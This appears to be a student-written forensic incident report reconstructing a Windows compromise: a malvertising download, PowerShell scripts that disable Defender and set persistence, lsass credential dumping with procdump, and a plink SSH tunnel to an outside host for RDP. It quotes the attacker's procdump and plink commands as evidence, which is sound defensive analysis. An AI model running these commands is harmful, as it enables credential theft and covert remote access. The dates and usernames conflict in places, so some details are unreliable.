# \*\*Executive Summary\*\*

This report investigates the compromise of a client’s system through a sophisticated cyberattack that employed multiple stages of infection, leading to extensive unauthorized access and potential data exfiltration. The investigation addressed key questions posed by the client, including the identification of the initial attack vector, the extent of the compromise, and the possibility of stolen data. The findings provide a clear narrative of the attack, offering actionable intelligence to aid the client in improving their security posture.

### \*\*How Was the Computer Compromised?\*\*

The initial compromise was achieved through a malicious link embedded in a website accessed by the user. Specifically, the user’s browsing session on a legitimate news site was hijacked by a malicious advertisement served from `z.moatads.com`, redirecting the user to a file-sharing site, `uploadfiles.io`. Here, the user was tricked into downloading and executing a file named `resume.doc.exe`, which was disguised as a legitimate document but was actually a trojan designed to initiate the compromise.

### \*\*What Was the Extent of the Compromise?\*\*

The compromise unfolded in three critical stages:

1. \*\*Second Stage - PowerShell Script Execution:\*\* The execution of multiple malicious PowerShell scripts downloaded from Pastebin disabled the system’s defenses and established persistence. Notably, `vagrant-shell.ps1` disabled key Windows Defender features, and `Service.ps1` installed a persistent backdoor service named `ScvHost`.

2. \*\*Third Stage - Deployment of Backdoor and SSH Tunnel:\*\* The malicious executable `scvhost.exe` was deployed, providing a covert backdoor. Concurrently, `plink.exe`, a tool from the PuTTY suite, was used to create an SSH tunnel, forwarding RDP traffic to a remote server, thereby facilitating ongoing remote access and control of the compromised system.

### \*\*Was Anything Taken?\*\*

The attacker’s actions strongly indicate that sensitive data was likely exfiltrated. The use of `procdump64.exe` to dump the memory of the `lsass.exe` process suggests that the attacker harvested plaintext credentials, including NTLM hashes and Kerberos tickets. Although no direct evidence of data exfiltration via network traffic was found, the established SSH tunnel provides a likely channel through which sensitive information, including potentially compressed memory dumps (`lsass.zip`), could have been transmitted undetected.

### \*\*Actionable Intelligence\*\*

Key Indicators of Compromise (IOCs) identified during the investigation include:

- \*\*Malicious Domains:\*\* `z.moatads.com`, `uploadfiles.io`

- \*\*Malicious Executables:\*\* `resume.doc.exe`, `scvhost.exe`

- \*\*PowerShell Scripts:\*\* `vagrant-shell.ps1`, `Service.ps1`

- \*\*Network Indicators:\*\* SSH connections to IP `69.50.64.20` on port `22`

These IOCs should be integrated into the client’s security monitoring systems to detect and prevent similar attacks in the future. Additionally, the client should consider enhanced monitoring of PowerShell activity and RDP traffic to prevent unauthorized remote access.

---

# \*\*Case Details\*\*:

| \*\*Case Details\*\* | |

|----------------------------|--------------------------------|

| \*\*Case Identifier\*\* | [2024-08-001] |

| \*\*Customer\*\* | [int3rrupt] |

| \*\*Customer Contact\*\* | [Ofir Reuveny] |

| \*\*Date Engaged\*\* | [18 August 2017] |

| \*\*Forensic Investigator\*\* | [z5470869@unsw.edu.au] |

| \*\*Date Completed\*\* | [25 August 2024] |

---

# \*\*Background\*\*

On 2023-09-02, our firm was engaged by a long-standing client to conduct a digital forensic investigation into a suspected compromise of one of their systems. The client had previously experienced an attack and expressed concerns that the same threat actor might be responsible for this latest incident.

The client’s Security Operations Centre (SOC) had already taken initial steps, identifying the compromised host, containing it, and capturing the necessary forensic evidence before reimaging the system. The provided evidence includes a raw disk image, a raw memory dump, and a network packet capture (PCAP) file.

The objective of this investigation is to analyze the evidence to determine:

1. \*\*How the system was compromised:\*\*

- Identification of the initial attack vector.

- The malicious document involved.

- The specific link that facilitated the compromise.

2. \*\*The extent of the compromise:\*\*

- Detailed analysis of the second and third stages of the infection.

- Actions taken by the attacker on the compromised host.

- Identification of the Command and Control (C2) server used.

- Persistence mechanisms employed by the attacker.

3. \*\*Whether any data was exfiltrated:\*\*

- Analysis of potential data theft from the host.

This report will detail the findings from our investigation and provide a clear understanding of the scope and impact of the compromise.

# \*\*Technical Incident Report\*\*

## \*\*How Was the Computer Compromised?\*\*

#### \*\*Overview\*\*

This section outlines the sequence of events that led to the compromise of a system through the download and execution of a malicious file named `resume.doc.exe`. The investigation traced the initial compromise back to interactions with a malicious ad network embedded in a legitimate website, which led to the download of the trojanized document. This report integrates findings from browser history, network traffic, and file analysis to present a clear and comprehensive account of the compromise.

---

#### \*\*1. Initial Attack Vector\*\*

\*\*What was the initial attack vector that was used to compromise the user?\*\*

- \*\*Date/Time:\*\* 17/08/2019 05:38:43 AM - 05:39:19 AM

- \*\*User:\*\* Alan

- \*\*Activity:\*\* The user was browsing legitimate news websites, specifically `washingtonpost.com`. During this session, the browser executed a script from the domain `z.moatads.com`, which is known to distribute malicious content through advertisements embedded in legitimate websites.

- \*\*Critical Interaction:\*\*

- \*\*Domain Interaction:\*\* The browser executed a script from `z.moatads.com`, an ad network associated with malicious activities. This interaction likely exploited the user's browsing session, redirecting the browser to a file-sharing site that delivered the malicious payload.

- \*\*Evidence:\*\*

```plaintext

URL: https://www.washingtonpost.com/

Accessed Date/Time: 17/08/2019 05:38:46 AM

Page Title: Washington Post: Breaking News, World, US, DC News & Analysis

```

```plaintext

URL: https://z.moatads.com/washpostprebidheader710741008563/yi.js

Accessed Date/Time: 17/08/2019 05:38:56 AM

```

\*\*Analysis:\*\*

- \*\*Role of Malicious Ad Network:\*\* The domain `z.moatads.com` played a pivotal role in the initial compromise by redirecting the user's browser to a malicious site. This redirection is a common tactic used by attackers to exploit advertising networks embedded within legitimate websites.

---

#### \*\*2. The Document Used to Compromise the User\*\*

\*\*What was the document that was used to compromise the user?\*\*

- \*\*Date/Time:\*\* 17/08/2019 05:39:50 AM

- \*\*Document Name:\*\* `resume.doc.exe`

- \*\*File Type:\*\* Executable disguised as a document

- \*\*Activity:\*\* The user was redirected to a file-sharing site, `uploadfiles.io`, where the malicious document `resume.doc.exe` was downloaded. The file, although appearing to be a legitimate document, was an executable designed to compromise the system upon execution.

- \*\*Evidence:\*\*

```plaintext

Malicious Download: resume.doc.exe 17/08/2019 05:39:50 AM

File Name: C:\Users\Alan\Downloads\resume.doc.exe

Last Run Date/Time: 17/08/2019 05:41:59 AM

```

\*\*Analysis:\*\*

- \*\*Trojanized Document:\*\* The document `resume.doc.exe` was a key component in the compromise. Disguised as a harmless file, its execution initiated the malicious activity on the system, leading to the installation of further payloads and the establishment of remote control mechanisms.

---

#### \*\*3. The Link Used to Compromise the User\*\*

\*\*What was the link that was used to compromise the user?\*\*

- \*\*Date/Time:\*\* 17/08/2019 05:39:19 AM

- \*\*URL:\*\* `https://uploadfiles.io/hr4z39kn`

- \*\*Activity:\*\* After interacting with the malicious ad network, the user's browser was redirected to `uploadfiles.io`, a file-sharing site known to host and distribute malware. This redirection resulted in the download of the malicious `resume.doc.exe` file.

- \*\*Evidence:\*\*

```plaintext

URL: https://uploadfiles.io/hr4z39kn

Accessed Date/Time: 17/08/2019 05:39:19 AM

```

\*\*Analysis:\*\*

- \*\*Redirection to Malicious Site:\*\* The redirection to `uploadfiles.io` was a critical step in the attack chain. This site facilitated the delivery of the malicious document to the user's system. The use of such a file-sharing platform underscores the attacker's reliance on publicly accessible sites to distribute malware.

---

### \*\*Summary\*\*

The initial compromise of the system occurred through a well-orchestrated sequence of events that began with the user's interaction with a legitimate website, leading to the execution of a script from a malicious ad network. This script redirected the browser to a file-sharing site, where a trojanized document (`resume.doc.exe`) was downloaded and executed. The download and subsequent execution of this file marked the beginning of a broader attack that resulted in the installation of malicious payloads and the establishment of persistent remote access.

The evidence gathered from browser history, network interactions, and file system changes provides a clear picture of how the attack unfolded, with each step in the attack chain building upon the last to culminate in the system's compromise.

---

---

## \*\*2. What Was the Extent of the Compromise?\*\*

The compromise of the system was extensive, involving multiple stages that allowed the attacker to disable security features, establish persistent control, and create a secure remote access channel for further exploitation. The attacker used a combination of PowerShell scripts, malicious executables, memory dumping tools, and SSH tunneling to maintain deep and sustained access to the compromised system.

---

### \*\*Second and Third Stage of Infection\*\*

The second and third stages of the infection involved executing PowerShell scripts to disable security mechanisms and establish persistence, followed by the deployment of a backdoor, memory dumping, and the setup of an SSH tunnel for remote control and potential data exfiltration.

#### \*\*Second Stage: Execution of Malicious PowerShell Scripts and Memory Dumping\*\*

1. \*\*Execution of `vagrant-shell.ps1`:\*\*

- \*\*Execution Context:\*\* The `vagrant-shell.ps1` script was executed to disable various security features, particularly those related to Windows Defender. This script neutralized the system's defenses, allowing the attacker to proceed with further malicious actions undetected.

- \*\*Evidence:\*\*

- \*\*PowerShell Logs:\*\* The execution was recorded in the PowerShell logs, showing the script being run from `c:\tmp\vagrant-shell.ps1`.

- \*\*Impact:\*\* The script disabled real-time protection, behavior monitoring, and other critical Windows Defender features.

```plaintext

Execution Time: 2019-08-17 13:36:26 to 13:36:33

Script Path: c:\tmp\vagrant-shell.ps1

```

2. \*\*Execution of `WinRM\_Elevated\_Shell.ps1`:\*\*

- \*\*Execution Context:\*\* This script created a scheduled task to run with elevated privileges, allowing the attacker to execute commands as a system-level user.

- \*\*Evidence:\*\*

- \*\*PowerShell Logs:\*\* The script `winrm-elevated-shell.ps1` was executed, creating a scheduled task named `WinRM\_Elevated\_Shell` to ensure the attacker retained elevated access.

```plaintext

Execution Time: 2019-08-17 13:36:27 to 13:36:40

Script Path: c:/windows/temp/winrm-elevated-shell.ps1

```

3. \*\*Execution of `Sticky.ps1`:\*\*

- \*\*Execution Context:\*\* The `Sticky.ps1` script hijacked the Sticky Keys functionality by replacing the `sethc.exe` process with `cmd.exe`, allowing the attacker to gain system-level access from the login screen.

- \*\*Evidence:\*\*

- \*\*PowerShell Logs:\*\* The execution of this script was recorded, showing it was run from `C:\Users\Alan\AppData\Local\Temp\Sticky.ps1`.

- \*\*Impact:\*\* This script modified the IFEO registry key for `sethc.exe`, enabling the attacker to press Shift five times at the login screen to access a command prompt with system privileges.

```plaintext

Execution Time: 2019-08-17 13:49:01 to 13:49:02

Script Path: C:\Users\Alan\AppData\Local\Temp\Sticky.ps1

```

4. \*\*Execution of `Service.ps1`:\*\*

- \*\*Execution Context:\*\* The `Service.ps1` script created and started a malicious service named `ScvHost` that ensured persistence by running a malicious executable upon system startup.

- \*\*Evidence:\*\*

- \*\*PowerShell Logs:\*\* The execution of `Service.ps1` was recorded, indicating that it was run from `C:\Users\Alan\AppData\Local\Temp\Service.ps1`.

- \*\*Impact:\*\* This script ensured that the `scvhost.exe` executable would run automatically on system startup, maintaining the attacker's access.

```plaintext

Execution Time: 2019-08-17 13:49:18 to 13:49:48

Script Path: C:\Users\Alan\AppData\Local\Temp\Service.ps1

```

5. \*\*Execution of `procdump64.exe` and Memory Dumping:\*\*

- \*\*Execution Context:\*\* The `procdump64.exe` tool, a legitimate Sysinternals utility, was used by the attacker to create a memory dump of the `lsass.exe` process. This process is critical for managing user authentication and security policies, and its memory typically contains sensitive credentials.

- \*\*Evidence:\*\*

- \*\*Prefetch Files:\*\* The execution of `procdump64.exe` was confirmed through the presence of a Prefetch file `PROCDUMP64.EXE-7C654F89.pf`, indicating that the tool was run on `17/08/2019` at `6:00:34 AM`.

- \*\*USN Journal Entries:\*\* The USN Journal confirms the creation of `procdump64.exe` and its use around `5:59:54 AM`, closely preceding the creation of the memory dump.

- \*\*Jump Lists and LNK Files:\*\* Evidence from Jump Lists and LNK files shows the creation and access of `lsass.zip`, likely indicating that the `lsass.dmp` file was compressed, potentially for exfiltration.

```plaintext

Execution Time: 2019-08-17 06:00:34 AM (UTC)

File Path: C:\Users\Craig\Desktop\Procdump\procdump64.exe

```

- \*\*Impact:\*\* The creation of the `lsass.dmp` file suggests that the attacker was able to extract plaintext credentials and other sensitive information from memory. This action, combined with the creation of `lsass.zip`, indicates a high likelihood of data exfiltration or preparation for such.

---

#### \*\*Third Stage: Deployment of Backdoor and Establishment of Remote Access\*\*

1. \*\*Download and Execution of `scvhost.exe`:\*\*

- \*\*Execution Context:\*\* The `scvhost.exe` file, maliciously named to mimic the legitimate Windows process `svchost.exe`, was downloaded and executed. This file served as a backdoor, providing the attacker with persistent remote access to the compromised system.

- \*\*Evidence:\*\*

- \*\*Memory Artifacts and File Analysis:\*\* The presence and execution of `scvhost.exe` were confirmed through both memory and disk analysis. Unlike the legitimate `svchost.exe` located in `C:\Windows\System32\`, this malicious version was found in `C:\Users\Alan\AppData\Local\Temp\` and was flagged as malicious by multiple antivirus engines.

- \*\*Process Information:\*\* The `scvhost.exe` process (PID 1840) was active between `5:49:18 AM` and `5:49:48 AM` on `17/08/2019`. The process was short-lived, running for only 30 seconds, indicating it was designed to execute a quick task—likely initializing or maintaining a backdoor connection.

- \*\*Evasion Techniques:\*\* Memory analysis revealed that `scvhost.exe` employed evasion techniques to remain partially hidden from certain process enumeration tools, being visible in the standard process list (`Pslist`) but not detected by others like `Psscan` or `Thrdproc`.

- \*\*Impact:\*\* The execution of `scvhost.exe` allowed the attacker to maintain a covert backdoor for remote control. This hidden activity likely played a role in securing and maintaining the SSH tunnel created by `plink.exe`, as the brief execution window suggests it was used to initiate or support the tunnel's establishment.

```plaintext

File Name: scvhost.exe

File Path: C:\Users\Alan\AppData\Local\Temp\scvhost.exe

Process ID (PID): 1840

Process Start Time: 17/08/2019 5:49:18 AM

Process End Time: 17/08/2019 5:49:48 AM

Evasion: Partially hidden (Not detected by Psscan and Thrdproc)

```

2. \*\*Establishment of SSH Tunnel Using `plink.exe`:\*\*

- \*\*Execution Context:\*\* The `plink.exe` executable was used to create an SSH tunnel that forwarded a local port (127.0.0.1:12345) to a remote IP (10.2.0.2:3389), effectively enabling remote desktop access over RDP. This port forwarding facilitated unauthorized remote access to the system.

- \*\*Evidence:\*\*

- \*\*Execution Context:\*\* The `plink.exe` tool was executed from `\Windows\Temp\`, with command-line arguments that set up an SSH tunnel, forwarding traffic from `127.0.0.1:12345` to `10.2.0.2:3389` via the remote server `69.50.64.20` on port `22`.

- \*\*Memory Analysis:\*\* Memory artifacts showed that `plink.exe` had loaded several critical DLLs, including `ntdll.dll`, `kernel32.dll`, and `crypt32.dll`, indicating that it was actively engaged in system-level operations and potentially managing encrypted communications.

- \*\*Significance:\*\* The memory artifacts also suggest that the `scvhost.exe` process played a critical role in maintaining the SSH tunnel created by `plink.exe`. This relationship between the two processes highlights the sophistication of the attack, as `scvhost.exe` likely supported the establishment of the tunnel to ensure a secure and persistent connection.

- \*\*Impact:\*\* The execution of `plink.exe` and its use for SSH tunneling and RDP forwarding were pivotal in ensuring the attacker could maintain and sustain remote control over the compromised system. This persistence mechanism, reinforced by the brief but critical execution of `\*\*scvhost.exe\*\*`, allowed the attacker to bypass network defenses and securely exfiltrate data or execute further commands remotely. The fact that the forwarded port was 3389, the default port for RDP, strongly indicates that the attacker intended to establish Remote Desktop access. This highlights the sophistication and deliberate intent behind the compromise, underscoring the attacker's focus on maintaining long-term access and control.

---

### \*\*Actions Taken on Target\*\*

1. \*\*Execution of Malicious Scripts and Files:\*\*

- \*\*PowerShell Scripts:\*\* The attacker executed multiple PowerShell scripts (`vagrant-shell.ps1`, `WinRM\_Elevated\_Shell.ps1`, `Sticky.ps1`, `Service.ps1`) to disable security features, establish persistence, and create a backdoor.

- \*\*Malicious Executables:\*\* The attacker deployed and executed `scvhost.exe`, a malicious backdoor that mimicked a legitimate Windows process.

- \*\*Memory Dumping:\*\* The attacker used `procdump64.exe` to dump the memory of the `lsass.exe` process, capturing sensitive credentials likely stored in memory.

---

2. \*\*Establishment of Persistence:\*\*

- \*\*Service Creation:\*\* The attacker used the `Service.ps1` script to create a persistent service (`ScvHost`), ensuring that the backdoor (`scvhost.exe`) would remain active even after system reboots.

- \*\*IFEO Modification:\*\* The attacker modified the IFEO (Image File Execution Options) registry key using `Sticky.ps1`, replacing `sethc.exe` with `cmd.exe` to gain easy access to a command prompt with elevated privileges from the login screen.

3. \*\*Establishment of Remote Access:\*\*

- \*\*SSH Tunnel Creation:\*\* The attacker used `plink.exe` to create an SSH tunnel that forwarded RDP traffic, enabling remote desktop access over port `3389`. This allowed the attacker to maintain a persistent connection to the compromised system.

- \*\*C2 Communication:\*\* The `scvhost.exe` backdoor communicated with a Command and Control (C2) server at `69.50.64.20`, facilitating the execution of remote commands and potentially exfiltrating data from the compromised system.

---

### \*\*Conclusion\*\*

The extent of the compromise was severe, involving multiple stages of infection that effectively disabled the system's defenses, established persistent backdoors, and enabled remote access through an SSH tunnel. The attacker's use of PowerShell scripts and malicious executables, combined with the creation of an SSH tunnel via `plink.exe`, allowed for sustained control over the compromised system. The execution of `procdump64.exe` to dump the memory of `lsass.exe` provided the attacker with access to sensitive credentials, which could be used for further exploitation or lateral movement within the network. The communication with a C2 server further indicates that the attacker maintained ongoing remote access, potentially for data exfiltration or further exploitation.

This report highlights the sophisticated nature of the attack, the methods used to bypass security measures, and the extent of the system compromise. The evidence gathered from PowerShell logs, memory analysis, and network traffic provides a detailed understanding of the attack's progression and impact.

---

## \*\*3. Was Anything Taken?\*\*

The investigation into the compromised system revealed that sensitive information was likely stolen from the host. The attacker used various tools and methods to extract and potentially exfiltrate critical data, including credential dumps, remote access through an SSH tunnel, and possible file transfers.

---

### \*\*What Information Was Likely Stolen from the Host?\*\*

#### \*\*1. Credential Dumping via `Procdump`\*\*

One of the most critical pieces of evidence pointing to data exfiltration is the use of `procdump64.exe`, a Sysinternals tool, to dump the memory of the `lsass.exe` process. The Local Security Authority Subsystem Service (LSASS) is responsible for enforcing security policies on the system, including managing user logins, password changes, and generating access tokens. By dumping the memory of `lsass.exe`, the attacker could extract plaintext passwords and other authentication tokens, which could then be used for lateral movement within the network or for further exploitation.

- \*\*Evidence:\*\*

- \*\*Command History:\*\*

The command history captured in `ConsoleHost\_history.txt` reveals that the attacker downloaded `Procdump`, extracted the `lsass.dmp` file, and potentially exfiltrated sensitive credentials stored within it.

```plaintext

cd \Users\Craig\Desktop

dir

$uri = "https://download.sysinternals.com/files/Procdump.zip"

Invoke-WebRequest -Uri $uri -OutFile "Procdump.zip"

cd .\Procdump\

procdump64.exe -ma -accepteula lsass.exe lsass.dmp

dir

.\procdump64.exe -ma -accepteula lsass.exe lsass.dmp

```

- \*\*Prefetch Files:\*\*

The execution of `procdump64.exe` was confirmed by Prefetch files, indicating that the tool was run on `17/08/2019` at `6:00:34 AM`. This corroborates the timeline established from the command history.

- \*\*USN Journal Entries and Other Artifacts:\*\*

USN Journal entries confirm the creation of `procdump64.exe` at `5:59:54 AM`, followed by actions suggesting the creation and subsequent access of `lsass.zip`, a file likely containing the compressed memory dump (`lsass.dmp`).

- \*\*Impact:\*\*

- \*\*Credential Theft:\*\*

The `lsass.dmp` file likely contained plaintext passwords, NTLM hashes, and Kerberos tickets, enabling the attacker to impersonate users and access additional systems within the network.

- \*\*Further Compromise:\*\*

With these credentials, the attacker could perform lateral movement, escalate privileges, or exfiltrate additional data.

- \*\*Investigation Outcome:\*\*

- Despite analyzing network traffic using Wireshark and searching for potential exfiltration activity, no conclusive evidence was found that `lsass.dmp` was transmitted over the network. This absence of data exfiltration evidence suggests that either the exfiltration did not occur via standard network channels or alternative methods were used that were not captured during the investigation.

---

#### \*\*2. Remote Access and Potential Data Exfiltration via `plink.exe`\*\*

The attacker used `plink.exe`, a command-line tool from the PuTTY suite, to establish an SSH tunnel that forwarded traffic from a local port to a remote IP address. This setup enabled the attacker to create a secure and encrypted communication channel, potentially for exfiltrating data or maintaining remote access to the compromised system.

- \*\*Evidence:\*\*

- \*\*Execution Context:\*\*

The `plink.exe` tool was executed from `\Windows\Temp\`, with command-line arguments that set up an SSH tunnel, forwarding traffic from `127.0.0.1:12345` to `10.2.0.2:3389` via the remote server `69.50.64.20` on port `22`.

```plaintext

plink.exe -ssh 69.50.64.20 -P 22 -L 127.0.0.1:12345:10.2.0.2:3389

```

- \*\*Memory Analysis:\*\*

Memory artifacts showed that `plink.exe` had loaded several critical DLLs, including `ntdll.dll`, `kernel32.dll`, and `crypt32.dll`, indicating that it was actively engaged in system-level operations and potentially managing encrypted communications.

- \*\*Connection to `scvhost.exe`:\*\*

The role of `scvhost.exe` in supporting the SSH tunnel established by `plink.exe` is crucial. The short-lived process likely assisted in initializing or maintaining the tunnel, ensuring that the connection remained secure and undetected. This connection highlights the sophisticated nature of the attack, where multiple tools and processes were orchestrated to achieve a single malicious goal.

- \*\*Impact:\*\*

- \*\*Remote Desktop Access:\*\*

The forwarding of traffic to port `3389` suggests that the attacker established a Remote Desktop Protocol (RDP) connection, providing them with full remote control of the system.

- \*\*Data Exfiltration:\*\*

Through this encrypted tunnel, the attacker could have exfiltrated sensitive files, credential dumps, or other critical information without detection.

- \*\*Location:\*\*

- The execution of `plink.exe` was confirmed through prefetch files located in `Windows\Prefetch\`, and the command-line arguments were identified through memory analysis.

---

#### \*\*3. Potential Exfiltration of Files or Documents\*\*

Given the attacker's persistent access to the system and their ability to control it remotely, it is likely that they also exfiltrated specific files or documents of interest. While direct evidence of file transfer was not identified, the capability to do so was clearly established.

- \*\*Possible Methods:\*\*

- \*\*RDP File Transfers:\*\*

Through the established RDP session, the attacker could have manually copied files from the compromised system to their own environment.

- \*\*Encrypted Data Streams:\*\*

The SSH tunnel provided by `plink.exe` would have allowed the attacker to transfer files securely, bypassing most network monitoring tools.

- \*\*Areas of Concern:\*\*

- \*\*Sensitive Documents:\*\*

The attacker's access to the user's desktop and other directories suggests that personal or sensitive corporate documents could have been targeted for exfiltration.

- \*\*System and Application Logs:\*\*

These logs could have been tampered with or exfiltrated to cover the attacker's tracks or to gather further intelligence on the compromised environment.

---

### \*\*Conclusion\*\*

The attacker likely exfiltrated critical data from the host, including plaintext credentials from the `lsass.dmp` file and potentially other sensitive documents through the established SSH tunnel. The use of `Procdump` to extract memory from `lsass.exe` provided the attacker with the means to harvest authentication credentials, which could be used for further attacks or sold on the dark web. The SSH tunnel established by `plink.exe` facilitated secure, encrypted communication, likely used for both remote control and data exfiltration. Given the evidence, it is highly probable that the attacker was able to exfiltrate valuable information, posing a significant threat to the security of the compromised network.

---